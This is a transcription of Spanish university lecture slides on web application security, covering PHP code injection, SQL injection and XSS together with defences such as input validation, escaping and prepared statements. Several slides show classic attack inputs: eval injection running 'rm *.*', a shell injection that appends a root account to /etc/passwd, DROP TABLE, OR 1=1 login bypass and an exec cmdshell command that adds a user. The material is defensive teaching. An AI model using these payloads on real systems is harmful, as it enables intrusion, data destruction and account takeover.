Seguridad WEB Inyección de código

Transcripción

1 Seguridad WEB Inyección de código Maestría en TICs 2015 Énfasis Auditoría y Seguridad Informática Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA

2 Aplicación del lado servidor Se ejecuta en un servidor web (app server) Toma la entrada de los usuarios remotos vía el navegador Interactúa con base de datos y otros servidores Prepara la salida para los usuarios 2

3 Ejemplo: PHP (Hypertext Processor) Lenguaje scripting con sintaxis al estilo C Puede intercalar HTML estático y código <input value = <?php echo $myvalor; $>> Puede incrustar variables de cadenas con comillas dobles: $usuario= Mundo ;echo Hola $usuario! ; o $usuario= Mundo;echo Hola. $usuario.. ; Datos de formularios en arreglos globales _$GET, $POST,.. 3

4 Inyección de código en PHP Calculadora server-side en PHP: $in = $_GET[ val ]; eval( $op1=. $in. ; ); Entrada benigna Entrada maliciosa rm *.* ) Calc.php ejecuta: eval( $op1=5; system( rm *.* ); ); 4

5 Mas inyección de código en PHP Código PHP para enviar mail $ = $_POST[ ] $subject = $_POST[ subject ] system( mail $ s $subject < /tmp/texto ) Código atacante =hacker@hackerhome.net& subject=foo < /usr/passwd; ls =hacker@hackerhome.net&subject=foo; echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls 5

6 SQL Típica generación de código usando SQL $selecteduser = $_GET['user']; $sql = "SELECT Username, Clave FROM users ". "WHERE Username='$selecteduser'"; $rs = $db->executequery($sql); Que pasa si user es una cadena maliciosa que cambia el significado de la consulta? 6

7 Típico login 7

8 Ingrese SELECT passwd Usuario FROM USERS Navegador (Cliente) & Password Servidor web WHERE uname = $user DB 8

9 Login normal Ingrese SELECT passwd Usuario FROM USERS Navegador (Cliente) & Password Servidor web WHERE uname = smith DB 9

10 Entrada maliciosa 10

11 Inyección SQL (SQLI) SELECT passwd Navegador (Cliente) Ingrese Usuario & Password Servidor web FROM USERS WHERE uname = ; DROP TABLE USERS;-- DB 11

12 12

13 Inyección SQL Idea básica Servidor víctima Atacante 1 3 Recibe datos desde la DB 2 Consulta No esperada Esta es una vulnerabilidad de validación de entrada La entrada de usuario no sanitizada cambia el sentido original de la consulta SQL. Es un caso especial de inyección de código DBMS Victima slide 13

14 Autenticación con la BD set UserFound=execute( SELECT * FROM UserTable WHERE username= & form( user ) & AND password= & form( pwd ) & ); El usuario ingresa su código y contraseña, este SQL chequea si existe tal combinación en la BD. If not UserFound.EOF Autenticación correcta else Autenticación incorrecta 14

15 Usando SQLI para ingresar El usuario ingresa OR 1=1 -- El aplicación web ejecuta la consulta set UserFound=execute( SELECT * FROM UserTable WHERE username= OR 1=1 -- ); Ahora todos los registros son retornados y la autenticación es correcta 15

16 Más de SQLI El usuario puede dar como código exec cmdshell net user badguy badpwd / ADD Y se ejecuta la consulta: set UserFound=execute( SELECT * FROM UserTable WHERE username= exec -- ); Crea una cuenta para badguy en el servidor de base de datos. 16

17 SQLI de segundo orden Los datos guardados en la BD pueden ser utilizados luego para un SQLI Por ejemplo, un usuario cambia su nombre a admin -- Esta vulnerabilidad puede existir si no se aplica consistentemente la validación de entrada y el escapado (por ejemplo de convertir a \ ) Algunas aplicaciones solo validan la entradas del servidor web y no así las entradas que vienen de la BD. UPDATE users set password = jejeje where uname = admin -- Tratar a todas las entradas como peligrosas 17

18 Previniendo los SQLI Validar toda la entrada Filtrar cualquier carácter que tenga un significado especial Chequear el tipo de dato Caracteres permitidos (whitelist) Colocar solo los no permitidos a veces no funciona Se puede olvidar algunos Puede prevenir entradas válidas (por ejemplo O Higgins) Permita solo un conjunto bien definido de valores seguros Puede utilizar expresiones regulares. 18

19 Escapando Caracteres especiales como provee distinción entre datos y código en la consulta Para entradas válidas con, use caracteres escapados. Diferentes BD tienen diferentes reglas de escapado: Ejemplos escape(o Higging) = O\ Higging escape(o Higging) = O Higging 19

20 Sentencias SQL precompiladas En un SQLI los datos son interpretados como código Variables bind : garantiza que los lugares en la consulta sean datos (no código) Sentencias prepared: permiten la creación de consultas estáticas con variables bind. Preserva la estructura de la consulta prevista. 20

21 Ejemplo de sentencias prepared /* Ejemplo en Java */ PreparedStatement ps = db.preparestatement("select pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setint(1, session.getcurrentuserid()); ps.setint(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executequery(); Variables bind (data placeholder) La consulta es parseada sin los parámetros Las variables bind tienen tipos (int, string, ) De todos modos debe seguir cuidando los SQLI de segundo orden. 21

22 SQL Injection Cheat Sheet Recopilación de tips y trucos para Inyección SQL teniendo en cuenta tipo de DBMS (MySQL, MS SQL Server, Oracle, PostgreSQL) 22

23 XSS (un poco más) Web HTTP GET 2. HTML and JS ` 3. Asynchronous GET 4. Javascript to wrap in eval Los scripts maliciosos pueden estar Contenidos en argumentos de JavaScript creados dinámicamente. Contenido en los arreglos JavaScript Escritos dinámicamente en el DOM 23

24 XSS en AJAX Flujos en arreglos Javascript var downstreamarray = new Array(); downstreamarray[0] = 42"; dobadstuff(); var bar= ajacked"; No detectado por filtros simples No existe <>, script, on.., etc Solo se necesita romper la doble comilla 24

25 XSS en AJAX Código JSON escrito en el DOM por un script del lado cliente var inboundjson = {"people": [ {"name": "Joel", "address": <script>badstuff();</script>", "phone": "911"} ] }; someobject.innerhtml(inboundjson.people[0].address); // Vulnerable document.write(inboundjson.people[0].address); // Vulnerable someobject.innertext(inboundjson.people[0].address); // Seguro XSS puede estar en el DOM document.url, documento.location, document.referer 25

26 Protegerse contra XSS Asegurar que su aplicación valide todas las cabeceras, cookies, query string, campos de formulario y campos ocultos No intentar identificar contenido activos y removerlos, filtrarlos o sanitizarlos. Existen demasiados tipos de contenido activo y muchísimas formas de codificarlo para sobrepasar los filtros. Es recomendable utilizar una política de seguridad positiva que especifica que es lo que está permitido. La política de seguridad negativa (mantenimiento de firmas) son difíciles de mantener y usualmente incompletas. 26

27 Prevenir XSS Cualquier entrada del usuario debe ser preprocesada antes de utilizarla dentro de HTML Remover /codificar los caracteres especiales HTML Usar una buena librería de escape Ejemplo: OWASP ESAPI En PHP, htmlspecialchars(string) puede reemplazar todos los caracteres con sus códigos HTML se convierte a &#039; se convierte a " & se convierte a & En ASP.NET, Server.HtmlEncode(string) 27

28 Bibliografía M. Zalewski. The tangled Web. A guide to securing Modern Web Applications M. Shema. Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Syngress Press. Elsevier P. Hope & B. Walther. Web Security Testing Cookbook. O Really Media Inc

29 Gracias! Preguntas? 29